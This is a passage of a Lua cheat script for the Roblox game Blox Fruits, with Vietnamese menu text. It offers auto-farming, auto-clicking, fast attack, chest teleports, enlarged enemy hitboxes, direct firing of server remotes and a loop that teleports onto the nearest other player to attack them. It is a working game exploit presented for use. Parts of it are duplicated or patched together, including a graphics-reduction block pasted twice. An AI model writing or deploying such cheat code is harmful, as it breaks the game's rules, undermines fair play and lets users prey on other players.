Setting:Toggle("Fast Attack",true,function(value)

\_G.FastAttack = value

end)

Setting:Toggle("Auto Click",false,function(value)

\_G.click = value

end)

spawn(function()

while wait() do

if \_G.WhiteScreen then

for i, v in pairs(game.Workspace["\_WorldOrigin"]:GetChildren()) do

if v.Name == "CurvedRing" or v.Name == "SlashHit" or v.Name == "DamageCounter" or v.Name == "SwordSlash" or v.Name == "SlashTail" or v.Name == "Sounds" then

v:Destroy()

end

end

end

end

end)

Setting:Toggle("Màn Hình Treo Farm [ Mượt Hơn ]",\_G.WhiteScreen,function(value)

\_G.WhiteScreen = value

if \_G.WhiteScreen == true then

game:GetService("RunService"):Set3dRenderingEnabled(false)

elseif \_G.WhiteScreen == false then

game:GetService("RunService"):Set3dRenderingEnabled(true)

end

end)

Setting:Button("Giảm Lag",function()

Notilistlayout.Name = "Notilistlayout"

Notilistlayout.Parent = NotiFrame

Notilistlayout.FillDirection = Enum.FillDirection.Vertical

Notilistlayout.SortOrder = Enum.SortOrder.LayoutOrder

Notilistlayout.Padding = UDim.new(0, 5)

function DiscordLib:Notification(text,text2,delays,logo)

if logo == nil then

logo = ""

end

if delays == nil then

delays = 1

end

local TitleFrame = Instance.new("Frame")

TitleFrame.Name = "TitleFrame"

TitleFrame.Parent = NotiFrame

TitleFrame.BackgroundColor3 = Color3.fromRGB(35,35,35)

TitleFrame.Size = UDim2.new(0, 0, 0, 0)

local Main\_UiStroke = Instance.new("UIStroke")

Main\_UiStroke.Thickness = 1

Main\_UiStroke.Name = ""

Main\_UiStroke.Parent = TitleFrame

Main\_UiStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border

Main\_UiStroke.LineJoinMode = Enum.LineJoinMode.Round

Main\_UiStroke.Color = Color3.fromRGB(255, 255, 255)

Main\_UiStroke.Transparency = 0

TitleFrame:TweenSizeAndPosition(UDim2.new(0, 250-10, 0, 70), UDim2.new(0.5, 0, 0.5,0), "Out", "Back", 0.3, true)

local ConnerTitile = Instance.new("UICorner")

ConnerTitile.CornerRadius = UDim.new(0, 4)

ConnerTitile.Name = "ConnerTitile"

ConnerTitile.Parent = TitleFrame

local imagenoti = Instance.new("ImageLabel")

imagenoti.Name = "imagenoti"

imagenoti.Parent = TitleFrame

imagenoti.AnchorPoint = Vector2.new(0.5, 0.5)

imagenoti.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

imagenoti.Position = UDim2.new(0.135999978, 0, 0.5, 0)

imagenoti.Size = UDim2.new(0, 50, 0, 50)

imagenoti.BackgroundTransparency = 1

imagenoti.Image = "http://www.roblox.com/asset/?id="..tostring(logo)

local txdlid = Instance.new("TextLabel")

local LableFrame = Instance.new("Frame")

txdlid.Name = "txdlid"

txdlid.Parent = TitleFrame

txdlid.BackgroundColor3 = Color3.fromRGB(85, 170, 255)

txdlid.BackgroundTransparency = 1.000

txdlid.Position = UDim2.new(0.25, 0, 0.15, 0)

txdlid.Size = UDim2.new(0, 175, 0, 24)

txdlid.Font = Enum.Font.LuckiestGuy

txdlid.TextColor3 = Color3.fromRGB(85, 170, 255)

txdlid.TextSize = 13.000

txdlid.Text = text

txdlid.TextXAlignment = Enum.TextXAlignment.Left

LableFrame.Name = "LableFrame"

LableFrame.Parent = TitleFrame

LableFrame.AnchorPoint = Vector2.new(0.5, 0.5)

LableFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

LableFrame.BackgroundTransparency = 1.000

LableFrame.Position = UDim2.new(0.625999987, 0, 0.620000005, 0)

LableFrame.Size = UDim2.new(0, 175, 0, 25)

local TextNoti = Instance.new("TextLabel")

TextNoti.Name = "TextNoti"

TextNoti.Parent = LableFrame

TextNoti.Active = true

TextNoti.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

TextNoti.BackgroundTransparency = 1.000

TextNoti.Size = UDim2.new(0, 175, 0, 25)

TextNoti.Font = Enum.Font.GothamBlack

TextNoti.Text = text2

TextNoti.TextScaled = true

TextNoti.TextColor3 = Color3.fromRGB(255, 255, 255)

TextNoti.TextSize = 12.000

TextNoti.TextXAlignment = Enum.TextXAlignment.Left

repeat wait() until TitleFrame.Size == UDim2.new(0, 250-10, 0, 70)

local Time = Instance.new("Frame")

local UICorner = Instance.new("UICorner")

local UIPadding = Instance.new("UIPadding")

Time.Name = "Time"

Time.Parent = TitleFrame

Time.Active = true

Time.BackgroundColor3 = Color3.fromRGB(85, 170, 255)

Time.BorderSizePixel = 0

Time.Position = UDim2.new(0.0320000015, 0, 0.870000005, 0)

Time.Size = UDim2.new(0, 236, 0, 3)

UICorner.Parent = Time

UICorner.CornerRadius = UDim.new(0, 7)

UICorner.Name = ""

UIPadding.Parent = NotiFrame

UIPadding.PaddingLeft = UDim.new(0, 15)

UIPadding.PaddingTop = UDim.new(0, 15)

TweenService:Create(

Time,

TweenInfo.new(tonumber(delays), Enum.EasingStyle.Linear, Enum.EasingDirection.InOut),

{Size = UDim2.new(0, 0, 0, 3)} -- UDim2.new(0, 128, 0, 25)

):Play()

delay(tonumber(delays),function()

TweenService:Create(

imagenoti,

TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),

{ImageTransparency = 1} -- UDim2.new(0, 128, 0, 25)

):Play()

TweenService:Create(

TextNoti,

TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),

{TextTransparency = 1} -- UDim2.new(0, 128, 0, 25)

):Play()

TweenService:Create(

txdlid,

TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),

{TextTransparency = 1} -- UDim2.new(0, 128, 0, 25)

):Play()

wait(0.3)

TweenService:Create(

TitleFrame,

TweenInfo.new(0.4, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut),

{Size = UDim2.new(0, 0, 0, 70)} -- UDim2.new(0, 128, 0, 25)

):Play()

wait(0.3)

TitleFrame:Destroy()

end

)

end

DiscordLib:Notification("Thông Báo" , "Bật Xong Sẽ Bị Đứng Máy 5-10 Giây" , 10 ,11816162894 )

wait(3)

local decalsyeeted = true

local g = game

local w = g.Workspace

local l = g.Lighting

local t = w.Terrain

t.WaterWaveSize = 0

t.WaterWaveSpeed = 0

t.WaterReflectance = 0

t.WaterTransparency = 0

l.GlobalShadows = false

l.FogEnd = 9e9

l.Brightness = 0

settings().Rendering.QualityLevel = "Level01"

for i, v in pairs(g:GetDescendants()) do

if v:IsA("Part") or v:IsA("Union") or v:IsA("CornerWedgePart") or v:IsA("TrussPart") then

v.Material = "Plastic"

v.Reflectance = 0

elseif v:IsA("Decal") or v:IsA("Texture") and decalsyeeted then

v.Transparency = 1

elseif v:IsA("ParticleEmitter") or v:IsA("Trail") then

v.Lifetime = NumberRange.new(0)

elseif v:IsA("Explosion") then

v.BlastPressure = 1

v.BlastRadius = 1

elseif v:IsA("Fire") or v:IsA("SpotLight") or v:IsA("Smoke") or v:IsA("Sparkles") then

v.Enabled = false

elseif v:IsA("MeshPart") then

v.Material = "Plastic"

v.Reflectance = 0

v.TextureID = 10385902758728957

end

end

for i, e in pairs(l:GetChildren()) do

if e:IsA("BlurEffect") or e:IsA("SunRaysEffect") or e:IsA("ColorCorrectionEffect") or e:IsA("BloomEffect") or e:IsA("DepthOfFieldEffect") then

e.Enabled = false

end

end

local decalsyeeted = true

local g = game

local w = g.Workspace

local l = g.Lighting

local t = w.Terrain

t.WaterWaveSize = 0

t.WaterWaveSpeed = 0

t.WaterReflectance = 0

t.WaterTransparency = 0

l.GlobalShadows = false

l.FogEnd = 9e9

l.Brightness = 0

settings().Rendering.QualityLevel = "Level01"

for i, v in pairs(g:GetDescendants()) do

if v:IsA("Part") or v:IsA("Union") or v:IsA("CornerWedgePart") or v:IsA("TrussPart") then

v.Material = "Plastic"

v.Reflectance = 0

elseif v:IsA("Decal") or v:IsA("Texture") and decalsyeeted then

v.Transparency = 1

elseif v:IsA("ParticleEmitter") or v:IsA("Trail") then

v.Lifetime = NumberRange.new(0)

elseif v:IsA("Explosion") then

v.BlastPressure = 1

v.BlastRadius = 1

elseif v:IsA("Fire") or v:IsA("SpotLight") or v:IsA("Smoke") or v:IsA("Sparkles") then

v.Enabled = false

elseif v:IsA("MeshPart") then

v.Material = "Plastic"

v.Reflectance = 0

v.TextureID = 10385902758728957

end

end

for i, e in pairs(l:GetChildren()) do

if e:IsA("BlurEffect") or e:IsA("SunRaysEffect") or e:IsA("ColorCorrectionEffect") or e:IsA("BloomEffect") or e:IsA("DepthOfFieldEffect") then

e.Enabled = false

end

end

end)

Main:Seperator(" Server ")

Time = Main:Label("Executer Time")

function UpdateTime()

local GameTime = math.floor(workspace.DistributedGameTime+0.5)

local Hour = math.floor(GameTime/(60^2))%24

local Minute = math.floor(GameTime/(60^1))%60

local Second = math.floor(GameTime/(60^0))%60

Time:Set("[Sever Đã Treo] : Giờ : "..Hour.. " Phút : "..Minute.." Giây : "..Second)

end

spawn(function()

while task.wait() do

pcall(function()

UpdateTime()

end)

end

end)

Client = Main:Label1("Client")

function UpdateClient()

local Fps = workspace:GetRealPhysicsFPS()

Client:Refresh("[Fps] : "..Fps)

end

spawn(function()

while true do wait(.1)

UpdateClient()

end

end)

Client1 = Main:Label1("Client")

function UpdateClient1()

local Ping = game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValueString()

Client1:Refresh("[Ping] : "..Ping)

end

spawn(function()

while true do wait(.1)

UpdateClient1()

end

end)

game:GetService('RunService').RenderStepped:connect(function()

if \_G.chestsea3 then

if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("God's Chalice") then

\_G.chestsea3 = false

elseif not game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("God's Chalice") then

if game:GetService("Workspace"):FindFirstChild("Chest1") then

TPchest( game:GetService("Workspace"):FindFirstChild("Chest1").CFrame)

end

if game:GetService("Workspace"):FindFirstChild("Chest2") then

TPchest( game:GetService("Workspace"):FindFirstChild("Chest2").CFrame)

end

if game:GetService("Workspace"):FindFirstChild("Chest3") then

TPchest( game:GetService("Workspace"):FindFirstChild("Chest3").CFrame)

end

end

end

end)

if game.PlaceId == 7449423635 then -- sea3

spawn(function()

while task.wait(3.5) do

pcall(function()

if not game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("God's Chalice") then

if \_G.chestsea3 then

game:GetService("VirtualInputManager"):SendKeyEvent(true,"W",false,game)

game.Players.LocalPlayer.Character.Humanoid.Health = 0

end

wait(5)

end end) end end) end

game:GetService('RunService').RenderStepped:connect(function()

if \_G.chestsea2 then

if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Fist of Darkness") then

game:GetService("VirtualInputManager"):SendKeyEvent(true,"W",false,game)

\_G.chestsea2 = false

elseif not game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Fist of Darkness") then

if game:GetService("Workspace"):FindFirstChild("Chest1") then

TPchest( game:GetService("Workspace"):FindFirstChild("Chest1").CFrame)

end

if game:GetService("Workspace"):FindFirstChild("Chest2") then

TPchest( game:GetService("Workspace"):FindFirstChild("Chest2").CFrame)

end

if game:GetService("Workspace"):FindFirstChild("Chest3") then

TPchest( game:GetService("Workspace"):FindFirstChild("Chest3").CFrame)

end

end

end

end)

if game.PlaceId == 4442272183 then -- sea2

spawn(function()

while task.wait(3.5) do

pcall(function()

if not game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Fist of Darkness") then

if \_G.chestsea2 then

game.Players.LocalPlayer.Character.Humanoid.Health = 0

end

wait(5)

end end) end end) end

Main:Seperator("Select Item Farm")

local WeaponList = {"Melee","Sword","Fruit"}

\_G.Select\_Weapon = "Melee"

local SelectWeapona = Main:Dropdown("Chọn Item Farm",WeaponList,function(value)

\_G.Select\_Weapon = value

end)

task.spawn(function()

while wait() do

pcall(function()

if \_G.Select\_Weapon == "Melee" then

for i ,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do

if v.ToolTip == "Melee" then

if game.Players.LocalPlayer.Backpack:FindFirstChild(tostring(v.Name)) then

\_G.Select\_Weapon = v.Name

end

end

end

elseif \_G.Select\_Weapon == "Sword" then

for i ,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do

if v.ToolTip == "Sword" then

if game.Players.LocalPlayer.Backpack:FindFirstChild(tostring(v.Name)) then

\_G.Select\_Weapon = v.Name

end

end

end

elseif \_G.Select\_Weapon == "Gun" then

for i ,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do

if v.ToolTip == "Gun" then

if game.Players.LocalPlayer.Backpack:FindFirstChild(tostring(v.Name)) then

\_G.Select\_Weapon = v.Name

end

end

end

elseif \_G.Select\_Weapon == "Fruit" then

for i ,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do

if v.ToolTip == "Blox Fruit" then

if game.Players.LocalPlayer.Backpack:FindFirstChild(tostring(v.Name)) then

\_G.Select\_Weapon = v.Name

end

end

end

end

end)

end

end)

spawn(function()

game:GetService("RunService").RenderStepped:Connect(function()

if \_G.click then

pcall(function()

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(0,1,0,1))

end)

end

end)

end)

--Main:Button("Stop Teleport",function()

-- topos(game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame)

--\_G.Clip = false

-- end)

Main:Seperator(" Farm ")

spawn(function()

while wait() do

if \_G.killplayertrain then

-- Lấy danh sách tất cả người chơi trong trò chơi

if not game.Players.LocalPlayer.Character:FindFirstChild("HasBuso") then

local args = {

[1] = "Buso"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end

EquipWeapon(\_G.Select\_Weapon)

if game.Players.LocalPlayer.Character.Humanoid.Health >= 5000 then

local players = game:GetService("Players"):GetPlayers()

-- Người chơi mà bạn muốn di chuyển đến

local targetPlayer = nil

local minDistance = 400

-- Lấy người chơi gần nhất

local closestDistance = math.huge

for \_, player in pairs(players) do

if player ~= game.Players.LocalPlayer then -- Loại bỏ người chơi hiện tại (bạn)

local distance = (player.Character.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude

if distance < closestDistance then

closestDistance = distance

targetPlayer = player

end

end

end

-- Kiểm tra nếu có người chơi gần nhất và khoảng cách nhỏ hơn 200

if targetPlayer and closestDistance < minDistance then

-- Di chuyển người chơi hiện tại đến người chơi gần nhất

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = targetPlayer.Character.HumanoidRootPart.CFrame + Vector3.new(0, 5, 0) -- Điều chỉnh vector (0, 5, 0) để tránh va chạm

else

print("Không có người chơi gần nhất trong khoảng cách 200 part.")

end

end

end

end

end)

Main:Dropdown("Chọn Chế Độ Farm", {

"Farm Theo Lever","Farm speed","Farm Không Nhiệm Vụ","Farm Gần nhất"

},function(value)

\_G.Select\_Mode\_Farm = value

end)

Main:Toggle("Bắt Đầu Farm",\_G.Auto\_Farm\_Level,function(value)

\_G.Auto\_Farm\_Level = value

\_G.click = value

StopTween(\_G.Auto\_Farm\_Level)

end)

function EquipWeaponSword()

pcall(function()

for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do

if v.ToolTip == "Sword" and v:IsA('Tool') then

local ToolHumanoid = game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name)

game.Players.LocalPlayer.Character.Humanoid:EquipTool(ToolHumanoid)

end

end

end)

end

function EquipWeaponMelee()

pcall(function()

for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do

if v.ToolTip == "Melee" and v:IsA('Tool') then

local ToolHumanoid = game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name)

game.Players.LocalPlayer.Character.Humanoid:EquipTool(ToolHumanoid)

end

end

end)

end

if World2 then

--Main:Seperator("Auto New Sea")

--Main:Toggle("Auto Third Sea",\_G.Auto\_Third\_World,function(value)

--\_G.Auto\_Third\_World = value

-- StopTween(\_G.Auto\_Third\_World)

-- end)

Main:Toggle("Auto Farm Chất Kì Dị ",\_G.Auto\_Farm\_Ectoplasm,function(value)

\_G.Auto\_Farm\_Ectoplasm = value

StopTween(\_G.Auto\_Farm\_Ectoplasm)

end)

Main:Seperator("Nhà Máy")

Main:Toggle("Auto Farm Nhà Máy",\_G.AutoFactory,function(value)

\_G.AutoFactory = value

StopTween(\_G.AutoFactory)

end)

spawn(function()

while wait() do

pcall(function()

if \_G.AutoFactory then

if game:GetService("Workspace").Enemies:FindFirstChild("Core") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Core" and v.Humanoid.Health > 0 then

repeat task.wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

topos(CFrame.new(448.46756, 199.356781, -441.389252))

game:GetService("VirtualUser"):CaptureController()

game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))

until v.Humanoid.Health <= 0 or \_G.AutoFactory == false

end

end

else

topos(CFrame.new(448.46756, 199.356781, -441.389252))

end

end

end)

end

end)

end

if World1 then

Main:Seperator("Auto New Sea")

Main:Toggle("Auto Second Sea",\_G.Auto\_New\_World,function(value)

\_G.Auto\_New\_World = value

StopTween(\_G.Auto\_New\_World)

end)

end

-- Farm\_Monster

if World1 then

tableMon = {

"Bandit [Lv. 5]","Monkey [Lv. 14]","Gorilla [Lv. 20]","Pirate [Lv. 35]","Brute [Lv. 45]","Desert Bandit [Lv. 60]","Desert Officer [Lv. 70]","Snow Bandit [Lv. 90]","Snowman [Lv. 100]","Chief Petty Officer [Lv. 120]","Sky Bandit [Lv. 150]","Dark Master [Lv. 175]","Prisoner [Lv. 190]", "Dangerous Prisoner [Lv. 210]","Toga Warrior [Lv. 250]","Gladiator [Lv. 275]","Military Soldier [Lv. 300]","Military Spy [Lv. 325]","Fishman Warrior [Lv. 375]","Fishman Commando [Lv. 400]","God's Guard [Lv. 450]","Shanda [Lv. 475]","Royal Squad [Lv. 525]","Royal Soldier [Lv. 550]","Galley Pirate [Lv. 625]","Galley Captain [Lv. 650]"

} elseif World2 then

tableMon = {

"Raider [Lv. 700]","Mercenary [Lv. 725]","Swan Pirate [Lv. 775]","Factory Staff [Lv. 800]","Marine Lieutenant [Lv. 875]","Marine Captain [Lv. 900]","Zombie [Lv. 950]","Vampire [Lv. 975]","Snow Trooper [Lv. 1000]","Winter Warrior [Lv. 1050]","Lab Subordinate [Lv. 1100]","Horned Warrior [Lv. 1125]","Magma Ninja [Lv. 1175]","Lava Pirate [Lv. 1200]","Ship Deckhand [Lv. 1250]","Ship Engineer [Lv. 1275]","Ship Steward [Lv. 1300]","Ship Officer [Lv. 1325]","Arctic Warrior [Lv. 1350]","Snow Lurker [Lv. 1375]","Sea Soldier [Lv. 1425]","Water Fighter [Lv. 1450]"

} elseif World3 then

tableMon = {

"Pirate Millionaire [Lv. 1500]","Dragon Crew Warrior [Lv. 1575]","Dragon Crew Archer [Lv. 1600]","Female Islander [Lv. 1625]","Giant Islander [Lv. 1650]","Marine Commodore [Lv. 1700]","Marine Rear Admiral [Lv. 1725]","Fishman Raider [Lv. 1775]","Fishman Captain [Lv. 1800]","Forest Pirate [Lv. 1825]","Mythological Pirate [Lv. 1850]","Jungle Pirate [Lv. 1900]","Musketeer Pirate [Lv. 1925]","Reborn Skeleton [Lv. 1975]","Living Zombie [Lv. 2000]","Demonic Soul [Lv. 2025]","Posessed Mummy [Lv. 2050]", "Peanut Scout [Lv. 2075]", "Peanut President [Lv. 2100]", "Ice Cream Chef [Lv. 2125]", "Ice Cream Commander [Lv. 2150]", "Cookie Crafter [Lv. 2200]", "Cake Guard [Lv. 2225]", "Baking Staff [Lv. 2250]", "Head Baker [Lv. 2275]", "Cocoa Warrior [Lv. 2300]", "Chocolate Bar Battler [Lv. 2325]", "Sweet Thief [Lv. 2350]", "Candy Rebel [Lv. 2375]", "Candy Pirate [Lv. 2400]", "Snow Demon [Lv. 2425]"

}

end

Main:Seperator(" Farm theo mục ")

Main:Dropdown("Chọn Quái Farm", tableMon, function(vu)

SelectMonster = vu

end)

Main:Toggle("Farm Quái Được Chọn",\_G.AutoFarmSelectMonster,function(vu)

\_G.AutoFarmSelectMonster = vu

\_G.click = value

end)

spawn(function()

while wait(.1) do

if \_G.AutoFarmSelectMonster then

pcall(function()

checkselect(SelectMonster)

if game:GetService("Workspace").Enemies:FindFirstChild(SelectMonster) then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == SelectMonster then

if v:FindFirstChild("Humanoid") then

if v.Humanoid.Health > 0 then

repeat game:GetService("RunService").Heartbeat:wait()

EquipWeapon(\_G.Select\_Weapon)

if not game.Players.LocalPlayer.Character:FindFirstChild("HasBuso") then

local args = {

[1] = "Buso"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end

topos(v.HumanoidRootPart.CFrame \* CFrame.new(0,30,0))

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

game:GetService("VirtualUser"):CaptureController()

game:GetService("VirtualUser"):Button1Down(Vector2.new(1280, 672), game.Workspace.CurrentCamera.CFrame)

PosMonSelectMonster = v.HumanoidRootPart.CFrame

SelectMonsterMagnet = true

until not \_G.AutoFarmSelectMonster or not v.Parent or v.Humanoid.Health == 0 or not game:GetService("Workspace").Enemies:FindFirstChild(v.Name)

end

end

end

end

else

checkselect(SelectMonster)

SelectMonsterMagnet = false

topos(CFrameMon)

end

end)

end

end

end)

--Main:Seperator(" Thông Thạo ")

--Main:Toggle("Auto Farm Thông Thạo Fruit",\_G.AutoFarmFruitMastery,function(value)

-- \_G.AutoFarmFruitMastery = value

-- StopTween(\_G.AutoFarmFruitMastery)

-- if \_G.AutoFarmFruitMastery == false then

-- UseSkill = false

-- end

-- end)

spawn(function()

while wait() do

if \_G.AutoFarmFruitMastery then

pcall(function()

local QuestTitle = game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text

if not string.find(QuestTitle, NameMon) then

StartMagnet = false

UseSkill = false

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("AbandonQuest")

end

if game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false then

StartMasteryFruitStartMagnet = false

UseSkill = false

CheckQuest()

repeat wait()

topos(CFrameQuest)

until (CFrameQuest.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3 or not \_G.AutoFarmFruitMastery

if (CFrameQuest.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3 then

wait(1.2)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StartQuest",NameQuest,LevelQuest)

wait(0.5)

end

elseif game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true then

CheckQuest()

if game:GetService("Workspace").Enemies:FindFirstChild(Ms) then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v:FindFirstChild("HumanoidRootPart") and v:FindFirstChild("Humanoid") and v.Humanoid.Health > 0 then

if v.Name == Ms then

if string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, NameMon) then

HealthMs = v.Humanoid.MaxHealth \* \_G.Kill\_At/100

repeat task.wait()

if v.Humanoid.Health <= HealthMs then

AutoHaki()

EquipWeapon(game:GetService("Players").LocalPlayer.Data.DevilFruit.Value)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

v.HumanoidRootPart.CanCollide = false

PosMonMasteryFruit = v.HumanoidRootPart.CFrame

v.Humanoid.WalkSpeed = 0

v.Head.CanCollide = false

UseSkill = true

else

UseSkill = false

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

PosMonMasteryFruit = v.HumanoidRootPart.CFrame

v.Humanoid.WalkSpeed = 0

v.Head.CanCollide = false

end

StartMasteryFruitStartMagnet = true

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until not \_G.AutoFarmFruitMastery or v.Humanoid.Health <= 0 or not v.Parent or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false

else

UseSkill = false

StartMasteryFruitStartMagnet = false

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("AbandonQuest")

end

end

end

end

else

StartMasteryFruitStartMagnet = false

UseSkill = false

local Mob = game:GetService("ReplicatedStorage"):FindFirstChild(Ms)

if Mob then

topos(Mob.HumanoidRootPart.CFrame \* MethodFarm)

else

if game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame.Y <= 1 then

game:GetService("Players").LocalPlayer.Character.Humanoid.Jump = true

task.wait()

game:GetService("Players").LocalPlayer.Character.Humanoid.Jump = false

end

end

end

end

end)

end

end

end)

spawn(function()

while wait() do

if UseSkill then

pcall(function()

CheckQuest()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if game:GetService("Players").LocalPlayer.Character:FindFirstChild(game:GetService("Players").LocalPlayer.Data.DevilFruit.Value) then

MasBF = game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Data.DevilFruit.Value].Level.Value

elseif game:GetService("Players").LocalPlayer.Backpack:FindFirstChild(game:GetService("Players").LocalPlayer.Data.DevilFruit.Value) then

MasBF = game:GetService("Players").LocalPlayer.Backpack[game:GetService("Players").LocalPlayer.Data.DevilFruit.Value].Level.Value

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Dragon-Dragon") then

if \_G.SkillZ then

local args = {

[1] = PosMonMasteryFruit.Position

}

game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))

game:GetService("VirtualInputManager"):SendKeyEvent(true,"Z",false,game)

game:GetService("VirtualInputManager"):SendKeyEvent(false,"Z",false,game)

end

if \_G.SkillX then

local args = {

[1] = PosMonMasteryFruit.Position

}

game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))

game:GetService("VirtualInputManager"):SendKeyEvent(true,"X",false,game)

game:GetService("VirtualInputManager"):SendKeyEvent(false,"X",false,game)

end

if \_G.SkillC then

local args = {

[1] = PosMonMasteryFruit.Position

}

game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))

game:GetService("VirtualInputManager"):SendKeyEvent(true,"C",false,game)

wait(2)

game:GetService("VirtualInputManager"):SendKeyEvent(false,"C",false,game)

end

elseif game:GetService("Players").LocalPlayer.Character:FindFirstChild("Venom-Venom") then

if \_G.SkillZ then

local args = {

[1] = PosMonMasteryFruit.Position

}

game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))

game:GetService("VirtualInputManager"):SendKeyEvent(true,"Z",false,game)

game:GetService("VirtualInputManager"):SendKeyEvent(false,"Z",false,game)

end

if \_G.SkillX then

local args = {

[1] = PosMonMasteryFruit.Position

}

game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))

game:GetService("VirtualInputManager"):SendKeyEvent(true,"X",false,game)

game:GetService("VirtualInputManager"):SendKeyEvent(false,"X",false,game)

end

if \_G.SkillC then

local args = {

[1] = PosMonMasteryFruit.Position

}

game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))

game:GetService("VirtualInputManager"):SendKeyEvent(true,"C",false,game)

wait(2)

game:GetService("VirtualInputManager"):SendKeyEvent(false,"C",false,game)

end

elseif game:GetService("Players").LocalPlayer.Character:FindFirstChild("Human-Human: Buddha") then

if \_G.SkillZ and game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Size == Vector3.new(2, 2.0199999809265, 1) then

local args = {

[1] = PosMonMasteryFruit.Position

}

game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))

game:GetService("VirtualInputManager"):SendKeyEvent(true,"Z",false,game)

game:GetService("VirtualInputManager"):SendKeyEvent(false,"Z",false,game)

end

if \_G.SkillX then

local args = {

[1] = PosMonMasteryFruit.Position

}

game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))

game:GetService("VirtualInputManager"):SendKeyEvent(true,"X",false,game)

game:GetService("VirtualInputManager"):SendKeyEvent(false,"X",false,game)

end

if \_G.SkillC then

local args = {

[1] = PosMonMasteryFruit.Position

}

game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))

game:GetService("VirtualInputManager"):SendKeyEvent(true,"C",false,game)

game:GetService("VirtualInputManager"):SendKeyEvent(false,"C",false,game)

end

if \_G.SkillV then

local args = {

[1] = PosMonMasteryFruit.Position

}

game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))

game:GetService("VirtualInputManager"):SendKeyEvent(true,"V",false,game)

game:GetService("VirtualInputManager"):SendKeyEvent(false,"V",false,game)

end

elseif game:GetService("Players").LocalPlayer.Character:FindFirstChild(game:GetService("Players").LocalPlayer.Data.DevilFruit.Value) then

